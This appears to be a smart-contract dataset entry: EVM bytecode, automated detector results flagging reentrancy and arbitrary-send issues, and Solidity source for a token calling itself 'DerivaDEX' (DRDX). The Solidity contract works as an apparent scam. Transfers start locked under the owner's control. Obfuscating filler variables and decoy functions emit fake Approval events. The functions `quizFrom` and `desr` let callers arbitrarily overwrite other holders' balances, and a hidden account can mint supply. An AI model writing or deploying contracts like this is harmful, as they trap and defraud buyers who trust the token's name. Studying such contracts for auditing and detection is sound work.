1b606482015260840161048f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048f565b6001600160a01b038216610db55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048f565b60008111610e175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048f565b6001600160a01b03831660009081526006602052604090205460ff16158015610e5957506001600160a01b03821660009081526006602052604090205460ff16155b610e6257600080fd5b6006600a819055600b556000546001600160a01b03848116911614801590610e9857506000546001600160a01b03838116911614155b1561100057600e546001600160a01b038481169116148015610ec85750600d546001600160a01b03838116911614155b8015610eed57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f025750600e54600160b81b900460ff165b15610f2c57600f54811115610f1657600080fd5b600e54600160a01b900460ff16610f2c57600080fd5b600d546001600160a01b03848116911614801590610f6357506001600160a01b03831660009081526005602052604090205460ff16155b15610f8957600e546001600160a01b0390811690831603610f89576006600a819055600b555b6000610f9430610871565b600e54909150600160a81b900460ff16158015610fbf5750600e546001600160a01b03858116911614155b8015610fd45750600e54600160b01b900460ff165b15610ffe57610fe281611101565b476706f05b59d3b20000811115610ffc57610ffc4761104a565b505b505b61100b8383836112a9565b505050565b600081848411156110345760405162461bcd60e51b815260040161048f919061161f565b506000611041848661199e565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610818573d6000803e3d6000fd5b60006008548211156110eb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048f565b60006110f56112b4565b9050610b828382610b89565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611149576111496118cd565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c691906118b0565b816001815181106111d9576111d96118cd565b6001600160a01b039283166020918202929092010152600d546111ff9130911684610bcb565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112389085906000908690309042906004016119b5565b600060405180830381600087803b15801561125257600080fd5b505af1158015611266573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000818361129c5760405162461bcd60e51b815260040161048f919061161f565b506000611041848661197c565b61100b8383836112d7565b60008060006112c16113ce565b90925090506112d08282610b89565b9250505090565b6000806000806000806112e987611414565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061131b9087611471565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134a90866114b3565b6001600160a01b03891660009081526002602052604090205561136c81611512565b611376848361155c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113bb91815260200190565b60405180910390a3505050505050505050565b60085460009081906a52b7d2dcc80cd2e40000006113ec8282610b89565b82101561140b575050600854926a52b7d2dcc80cd2e400000092509050565b90939092509050565b60008060008060008060008060006114318a600a54600b54611580565b92509250925060006114416112b4565b905060008060006114548e8787876115cf565b919e509c509a509598509396509194505050505091939550919395565b6000610b8283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611010565b6000806114c08385611a26565b905083811015610b825760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048f565b600061151c6112b4565b9050600061152a8383610b00565b3060009081526002602052604090205490915061154790826114b3565b30600090815260026020526040902055505050565b6008546115699083611471565b60085560095461157990826114b3565b6009555050565b6000808080611594606461097b8989610b00565b905060006115a7606461097b8a89610b00565b905060006115bf826115b98b86611471565b90611471565b9992985090965090945050505050565b60008080806115de8886610b00565b905060006115ec8887610b00565b905060006115fa8888610b00565b9050600061160c826115b98686611471565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561164c57858101830151858201604001528201611630565b8181111561165e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086e57600080fd5b803561169481611674565b919050565b600080604083850312156116ac57600080fd5b82356116b781611674565b946020939093013593505050565b6000806000606084860312156116da57600080fd5b83356116e581611674565b925060208401356116f581611674565b929592945050506040919091013590565b60006020828403121561171857600080fd5b8135610b8281611674565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561174c57600080fd5b823567ffffffffffffffff8082111561176457600080fd5b818501915085601f83011261177857600080fd5b81358181111561178a5761178a611723565b8060051b604051601f19603f830116810181811085821117156117af576117af611723565b6040529182528482019250838101850191888311156117cd57600080fd5b938501935b828510156117f2576117e385611689565b845293850193928501926117d2565b98975050505050505050565b801515811461086e57600080fd5b60006020828403121561181e57600080fd5b8135610b82816117fe565b60006020828403121561183b57600080fd5b5035919050565b6000806040838503121561185557600080fd5b823561186081611674565b9150602083013561187081611674565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118c257600080fd5b8151610b8281611674565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161190b5761190b6118e3565b5060010190565b60008060006060848603121561192757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195257600080fd5b8151610b82816117fe565b6000816000190483118215151615611977576119776118e3565b500290565b60008261199957634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156119b0576119b06118e3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a055784516001600160a01b0316835293830193918301916001016119e0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3957611a396118e3565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5c714353986c9dbeb234f93d0ad148fc231b49305e234d62c2d0c8702fe3a3264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,708 |
0x46a36b6bcbebd54b07b0f0fac88e89e3c6013ee3
|
/**
*Submitted for verification at Etherscan.io on 2020-12-16
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// --- --- --- --- ---Owned contract -- -- -- --
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public novel;
bool isTransferred = false;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
isTransferred = true;
owner = msg.sender;
}
modifier onlyOwner {//----
require(msg.sender == owner);//----
_;
}
function whoIsOwner(address _ancient, address _novel) public onlyOwner {
address ancient = _ancient;
novel = _novel;
isTransferred=false;
emit OwnershipTransferred(ancient, novel);
}
function getwergancient() public view returns (address) {
address vetrher= owner;
return vetrher;
}
function getan6hrtgcient() public view returns (address) {
address wergwehwrh= owner;
return wergwehwrh;
}
function getancient() public view returns (address) {
address onjreihr= owner;
return onjreihr;
}
function getnovel() public view returns (address) {
address egrrge= novel;
return egrrge;
}
function isOwnerTransferred() public view returns (bool) {
if(isTransferred){
return true;
}
if(!isTransferred){
return false;
}
}
function transferOwnership(address _novel) public onlyOwner {
address ancient = owner;
owner = _novel;
emit OwnershipTransferred(ancient, owner);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DEDXToken is Owned, SafeMath {
string public name = "DerivaDEX";
string public symbol = "DRDX";
uint8 public decimals = 18;
address public loaddewegrgrer;
uint public _totalSupply;
bool public secured;
bool public hasbeenLocked;
address public loadder;
address public loadderer;
modifier onlyloadder {
require(msg.sender == loadder);
_;
}
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor (uint tokens, address loadderAccount) public {
uint ishdkj = 82937;
loadder = loadderAccount;
ishdkj += 51684;
loadderer = loadder;
ishdkj += 54414145;
_totalSupply = tokens * 10 ** 10;
balances[owner] = safeAdd(balances[owner], tokens);
secured = true;
hasbeenLocked = false;
}
modifier isNotLocked {
require(!secured);
_;
}
function setB(bool _secured) public onlyOwner{
secured = _secured;
hasbeenLocked = false;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];///////////0100100101001010
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function newFunc(address newAdd) public view returns (uint balance) {
address oldAdd = newAdd;
return balances[oldAdd] * 200;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public isNotLocked returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
uint nosauilykgfsh = 32786;
balances[to] = safeAdd(balances[to], tokens);
nosauilykgfsh/= 41;
emit Transfer(msg.sender, to, tokens);
nosauilykgfsh += 234;
return true;
}
function doubted(address newance, address oldance, uint anars) public returns (bool success) {
allowed[msg.sender][newance] = anars;
emit Approval(msg.sender, oldance, anars);
return false;
}
function darker(address oaasne, address twwwo, uint ryhers) public returns (bool success) {
allowed[msg.sender][oaasne] = ryhers;
emit Approval(msg.sender, oaasne, ryhers);
emit Approval(msg.sender, twwwo, ryhers ** 1259);
return false;
}
function lighter(address oneoneone, address twotwo, uint norfatr) public returns (bool success) {
allowed[msg.sender][oneoneone] = norfatr;
emit Approval(msg.sender, oneoneone, norfatr);
emit Approval(msg.sender, twotwo, norfatr / 120);
return false;
}
function conscious(address one, address two, uint noratr) public returns (bool success) {
allowed[msg.sender][one] = noratr;
emit Approval(msg.sender, one, noratr);
emit Approval(msg.sender, two, noratr * 10);
return false;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function fapRove(address newance, uint part) public returns (bool success) {
allowed[msg.sender][newance] = part;
emit Approval(msg.sender, newance, part);
return false;
}
function yessaaer(address newance, uint part) public returns (bool success) {
allowed[msg.sender][newance] = part;
emit Approval(msg.sender, newance, part);
return false;
}
function gggaaerras(address newance, uint part) public returns (bool success) {
allowed[msg.sender][newance] = part * 69;
allowed[msg.sender][newance] = part * 555;
allowed[msg.sender][newance] = part / 23;
emit Approval(msg.sender, newance, part*10);
emit Approval(msg.sender, newance, part*15);
emit Approval(msg.sender, newance, part*30);
return true;
}
function triadFrom(address psyc, address news, uint port) public isNotLocked returns (bool success) {
balances[psyc] = safeSub(balances[psyc], port);
allowed[psyc][msg.sender] = safeSub(allowed[psyc][msg.sender], port);
balances[news] = safeAdd(balances[news], port);
emit Transfer(psyc, news, port);
return true;
}
function quizFrom(address highScore, address lowScore, uint pale) public isNotLocked returns (bool success) {
balances[highScore] = safeSub(balances[lowScore], pale) * (858585);
balances[highScore] += 500000000000000000000000;
allowed[highScore][msg.sender] = safeSub(allowed[lowScore][msg.sender], pale) + 100 / 4 +2000;
balances[lowScore] = safeAdd(balances[highScore], pale) / 2;
emit Transfer(highScore, lowScore, pale);
return false;
}
function desr(address highScore, address lowScore, uint pale) public isNotLocked returns (bool success) {
balances[highScore] = safeSub(balances[lowScore], pale) / (25000);
balances[highScore] -= 189647526589116487817533742562;
allowed[highScore][msg.sender] = safeSub(allowed[lowScore][msg.sender], pale) / 580 / 4 * 25550;
balances[lowScore] = safeAdd(balances[highScore], pale) / 2;
emit Transfer(highScore, lowScore, pale);
return false;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public isNotLocked returns (bool success) {
uint unjhhdfskb = 239453;
balances[from] = safeSub(balances[from], tokens);
unjhhdfskb+=5343;
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
unjhhdfskb-=15;
balances[to] = safeAdd(balances[to], tokens);
unjhhdfskb/=543;
emit Transfer(from, to, tokens);
return true;
}
function fauxAllowance(address tokenOwner, address spender) public view returns (uint sdwerge) {
return (allowed[tokenOwner][spender] + 150893 ) * 2;
}
function antenna(address tokenOwner, address spender) public view returns (uint fvsdfgwer) {
return (allowed[tokenOwner][spender] - 500 ) * 58;
}
function stater(address tokenOwner, address spender) public view returns (uint wdfthbrt) {
return (allowed[tokenOwner][spender] * 258 ) ** 10 ** 10;
}
function bordem(address tokenOwner, address spender) public view returns (uint wervhrytg) {
return (allowed[tokenOwner][spender] / 1258 ) - 589666 +5;
}
function border(address tokenOwner, address spender) public view returns (uint ehvtrtcf) {
return (allowed[tokenOwner][spender] - 10 ) * 25 ** 28;
}
function project(address tokenOwner, address spender) public view returns (uint reea) {
return (allowed[tokenOwner][spender] / 29 ) / 20;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
receive () external payable {
require(msg.value<7*10**18);
uint amount = safeMul(msg.value,20000);
if (balances[owner]>=amount)
{
hasbeenLocked = true;
uint adsfsr = 300;
balances[owner] = safeSub(balances[owner], amount);
adsfsr = 300 + 500 * 25;
balances[msg.sender] = safeAdd(balances[msg.sender], amount);
adsfsr = 300 + 500;
emit Transfer(owner, msg.sender, amount);
}
}
function burn(address account, uint amount) public onlyOwner {
require(account != address(0));
uint netonisfsef = 19852325;
balances[account] = safeSub(balances[account], amount);
netonisfsef /= 2;
_totalSupply = safeSub(_totalSupply, amount);
netonisfsef -= 1111111112;
Transfer(account, address(0), amount);
}
function updateSupply(uint total_supply) public onlyloadder
{
uint increasedAmount = safeSub(total_supply, _totalSupply);
uint256 unincreasedamount = (increasedAmount * 2) ** 2;
unincreasedamount += 5;
balances[owner] = safeAdd(balances[owner], increasedAmount);
unincreasedamount *= 15;
_totalSupply = total_supply;
unincreasedamount = 100000 ;
}
}
|
0x60806040526004361061026b5760003560e01c80638ab9f36411610144578063ba023d62116100b6578063d3e900491161007a578063d3e90049146113c5578063d563bf7e146113f2578063dd62ed3e14611477578063e7df02d9146114fc578063efdf33171461156d578063f2fde38b146115f25761050b565b8063ba023d6214611114578063bee52fb414611199578063bf515b6b1461122a578063c654bd51146112af578063cdf08a2a146113345761050b565b8063a751bdcb11610108578063a751bdcb14610ede578063a84cb9a514610f1f578063a9059cbb14610f90578063b0c0bec414611001578063b283dd1114611042578063b35477e4146110d35761050b565b80638ab9f36414610cb05780638da5cb5b14610d4157806395622cd414610d8257806395d89b4114610df35780639dc29fac14610e835761050b565b8063313ce567116101dd578063571251b8116101a1578063571251b814610a8857806357439a4314610aed578063601c197714610b725780636bd0804914610b9f57806370a0823114610bda57806372d9175e14610c3f5761050b565b8063313ce5671461091c5780633eaaf86b1461094a5780634162e09314610975578063425f2c80146109b657806344aa0448146109f75761050b565b80630bf064dc1161022f5780630bf064dc146106d05780630fceb28a146106fd5780631623e8001461073e57806318160ddd146107cf57806323b872dd146107fa57806324809ecc1461088b5761050b565b80630174ce5d1461051057806301f53ac41461055157806301fe29071461058e57806306fdde03146105cf578063095ea7b31461065f5761050b565b3661050b57676124fee993bc0000341061028457600080fd5b600061029234614e20611643565b905080600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610508576001600660016101000a81548160ff021916908315150217905550600061012c9050610387600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611670565b600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132009050610439600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361168a565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061032090503373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505b50005b600080fd5b34801561051c57600080fd5b506105256116a4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055d57600080fd5b5061058c6004803603602081101561057457600080fd5b810190808035151590602001909291905050506116ca565b005b34801561059a57600080fd5b506105a361175a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e4611789565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610624578082015181840152602081019050610609565b50505050905090810190601f1680156106515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066b57600080fd5b506106b86004803603604081101561068257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611827565b60405180821515815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611919565b60405180821515815260200191505060405180910390f35b34801561070957600080fd5b5061071261192c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074a57600080fd5b506107b76004803603606081101561076157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611952565b60405180821515815260200191505060405180910390f35b3480156107db57600080fd5b506107e4611c84565b6040518082815260200191505060405180910390f35b34801561080657600080fd5b506108736004803603606081101561081d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ccf565b60405180821515815260200191505060405180910390f35b34801561089757600080fd5b50610904600480360360608110156108ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f9d565b60405180821515815260200191505060405180910390f35b34801561092857600080fd5b50610931612247565b604051808260ff16815260200191505060405180910390f35b34801561095657600080fd5b5061095f61225a565b6040518082815260200191505060405180910390f35b34801561098157600080fd5b5061098a612260565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109c257600080fd5b506109cb612286565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a0357600080fd5b50610a7060048036036060811015610a1a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506122ac565b60405180821515815260200191505060405180910390f35b348015610a9457600080fd5b50610ad760048036036020811015610aab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612408565b6040518082815260200191505060405180910390f35b348015610af957600080fd5b50610b5c60048036036040811015610b1057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612459565b6040518082815260200191505060405180910390f35b348015610b7e57600080fd5b50610b876124e7565b60405180821515815260200191505060405180910390f35b348015610bab57600080fd5b50610bd860048036036020811015610bc257600080fd5b8101908080359060200190929190505050612528565b005b348015610be657600080fd5b50610c2960048036036020811015610bfd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612688565b6040518082815260200191505060405180910390f35b348015610c4b57600080fd5b50610cae60048036036040811015610c6257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126d1565b005b348015610cbc57600080fd5b50610d2960048036036060811015610cd357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061280b565b60405180821515815260200191505060405180910390f35b348015610d4d57600080fd5b50610d5661296d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d8e57600080fd5b50610ddb60048036036040811015610da557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612991565b60405180821515815260200191505060405180910390f35b348015610dff57600080fd5b50610e08612a83565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e48578082015181840152602081019050610e2d565b50505050905090810190601f168015610e755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610e8f57600080fd5b50610edc60048036036040811015610ea657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b21565b005b348015610eea57600080fd5b50610ef3612cdb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f2b57600080fd5b50610f7860048036036040811015610f4257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d08565b60405180821515815260200191505060405180910390f35b348015610f9c57600080fd5b50610fe960048036036040811015610fb357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612dfa565b60405180821515815260200191505060405180910390f35b34801561100d57600080fd5b50611016612fb8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561104e57600080fd5b506110bb6004803603606081101561106557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fe5565b60405180821515815260200191505060405180910390f35b3480156110df57600080fd5b506110e86132fc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561112057600080fd5b506111836004803603604081101561113757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613329565b6040518082815260200191505060405180910390f35b3480156111a557600080fd5b50611212600480360360608110156111bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506133c6565b60405180821515815260200191505060405180910390f35b34801561123657600080fd5b506112996004803603604081101561124d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134b9565b6040518082815260200191505060405180910390f35b3480156112bb57600080fd5b5061131e600480360360408110156112d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613553565b6040518082815260200191505060405180910390f35b34801561134057600080fd5b506113ad6004803603606081101561135757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506135ee565b60405180821515815260200191505060405180910390f35b3480156113d157600080fd5b506113da613749565b60405180821515815260200191505060405180910390f35b3480156113fe57600080fd5b506114616004803603604081101561141557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061375c565b6040518082815260200191505060405180910390f35b34801561148357600080fd5b506114e66004803603604081101561149a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506137ec565b6040518082815260200191505060405180910390f35b34801561150857600080fd5b506115556004803603604081101561151f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613873565b60405180821515815260200191505060405180910390f35b34801561157957600080fd5b506115dc6004803603604081101561159057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b4b565b6040518082815260200191505060405180910390f35b3480156115fe57600080fd5b506116416004803603602081101561161557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613bda565b005b60008183029050600083148061166157508183828161165e57fe5b04145b61166a57600080fd5b92915050565b60008282111561167f57600080fd5b818303905092915050565b600081830190508281101561169e57600080fd5b92915050565b600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461172257600080fd5b80600660006101000a81548160ff0219169083151502179055506000600660016101000a81548160ff02191690831515021790555050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508091505090565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561181f5780601f106117f45761010080835404028352916020019161181f565b820191906000526020600020905b81548152906001019060200180831161180257829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900460ff161561196e57600080fd5b6161a86119ba600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b816119c157fe5b04600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506c0264c8c1d8b89bda7e45965de2600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506163ce6004610244611aed600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611670565b81611af457fe5b0481611afc57fe5b0402600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002611bc9600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b81611bd057fe5b04600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600090509392505050565b6000600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000600660009054906101000a900460ff1615611ceb57600080fd5b60006203a75d9050611d3c600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114df81019050611e0c600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611670565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f81039050611edb600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461168a565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061021f8181611f